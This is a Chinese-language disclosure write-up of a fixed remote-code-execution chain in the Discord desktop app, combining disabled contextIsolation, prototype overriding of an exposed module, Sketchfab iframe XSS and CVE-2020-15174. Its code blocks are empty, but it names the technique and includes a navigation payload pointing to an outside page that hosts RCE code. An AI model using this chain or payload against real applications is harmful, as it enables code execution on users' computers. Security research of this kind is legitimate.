Discord桌面应用RCE漏洞分析
几个月前,我在Discord桌面应用中发现了一个远程代码执行漏洞,并通过其漏洞赏金计划进行了报告。这个RCE漏洞的有趣之处在于它需要组合多个漏洞才能实现。本文将分享详细的技术细节。
选择Discord作为目标的原因
我当时想研究Electron应用的安全漏洞,于是寻找提供Electron应用漏洞赏金的项目,最终选择了Discord。同时,作为Discord用户,我也想确认自己使用的应用是否安全。
发现的漏洞
我主要发现了以下三个漏洞,通过组合它们实现了RCE:
- 缺失contextIsolation
- iframe嵌入中的XSS
- 导航限制绕过(CVE-2020-15174)
缺失contextIsolation
在测试Electron应用时,我首先检查了用于创建浏览器窗口的BrowserWindow API选项。通过分析这些选项,可以评估在渲染器中执行任意JavaScript时实现RCE的可能性。
Discord的Electron应用虽然不是开源项目,但其JavaScript代码以asar格式保存在本地,解压后即可阅读。
主窗口使用了以下选项:
|
|
其中最重要的是nodeIntegration和contextIsolation选项。从代码中可以看出,nodeIntegration设为false,而contextIsolation保持默认值false。
如果nodeIntegration设为true,网页JavaScript可以直接通过require()使用Node.js功能。例如在Windows上执行calc应用:
|
|
本次nodeIntegration设为false,因此无法直接通过require()使用Node.js功能。但通过禁用contextIsolation,网页JavaScript仍可能影响渲染器中Electron内部JavaScript代码的执行。
contextIsolation禁用时,网页JavaScript可以覆盖JavaScript内置方法(如Array.prototype.join),从而干扰外部网页的JavaScript代码执行。这种行为很危险,因为Electron允许外部JavaScript代码使用Node.js功能,无论nodeIntegration设置如何。
这种技巧最初由Cure53在2016年的渗透测试中发现(我也参与了该测试),之后我们报告给Electron团队并引入了contextIsolation功能。
contextIsolation通过在网页和外部JavaScript代码之间引入隔离的上下文,防止互相影响。这是消除RCE可能性的必要功能,但在Discord中被禁用。
利用preload脚本实现RCE
在检查preload脚本时,我发现Discord通过DiscordNative.nativeModules.requireModule(‘MODULE-NAME’)向网页暴露了允许调用的模块功能。
虽然不能直接使用child_process等模块实现RCE,但通过覆盖JavaScript内置方法干扰暴露模块的执行,仍可实现RCE。
以下是PoC代码。通过覆盖RegExp.prototype.test和Array.prototype.join,调用"discord_utils"模块中的getGPUDriverVersions函数可以弹出calc应用:
|
|
getGPUDriverVersions函数尝试使用"execa"库执行程序:
|
|
通常execa会执行nvidiaSmiPath指定的"nvidia-smi.exe",但由于覆盖了RegExp.prototype.test和Array.prototype.join,参数在执行过程中被替换为"calc"。
iframe嵌入中的XSS
接下来需要找到在应用中执行JavaScript的方法。我检查了自动链接和Markdown功能,但没发现问题,于是转向iframe嵌入功能。当发布YouTube等URL时,Discord会获取OGP信息并显示页面标题、描述等内容。
Discord从OGP提取视频URL,只有允许域且符合嵌入页面格式的URL才会被iframe嵌入。
通过检查CSP的frame-src指令,我发现sketchfab.com可以嵌入iframe,并在其3D模型页脚发现DOM型XSS。
以下是PoC,发布此URL到聊天后,Sketchfab会嵌入iframe,点击几次后执行任意JavaScript:
|
|
但JavaScript仅在iframe中执行,需要从iframe跳转到顶级浏览上下文才能实现RCE。
导航限制绕过(CVE-2020-15174)
主进程代码中使用"new-window"和"will-navigate"事件限制导航:
|
|
测试发现,从iframe发起的顶级导航在某些情况下不会被阻止。进一步研究发现,当iframe与顶级窗口同源时会触发"will-navigate"事件,但跨源时不会触发。我认为这是Electron的bug并报告给了Electron团队。
利用这个bug,可以通过iframe的XSS导航到包含RCE代码的页面,如top.location="//l0.cm/discord_calc.html"。
漏洞修复
这些问题通过Discord的漏洞赏金计划报告后:
- Discord首先禁用了Sketchfab嵌入
- 通过添加sandbox属性到iframe防止导航
- 最终启用了contextIsolation
Sketchfab的XSS通过其漏洞赏金计划快速修复。“will-navigate"事件的问题被标记为CVE-2020-15174并修复。
总结
这个案例展示了如何组合外部页面漏洞和Electron本身的bug实现RCE。希望本文能帮助开发者更好地保护Electron应用安全。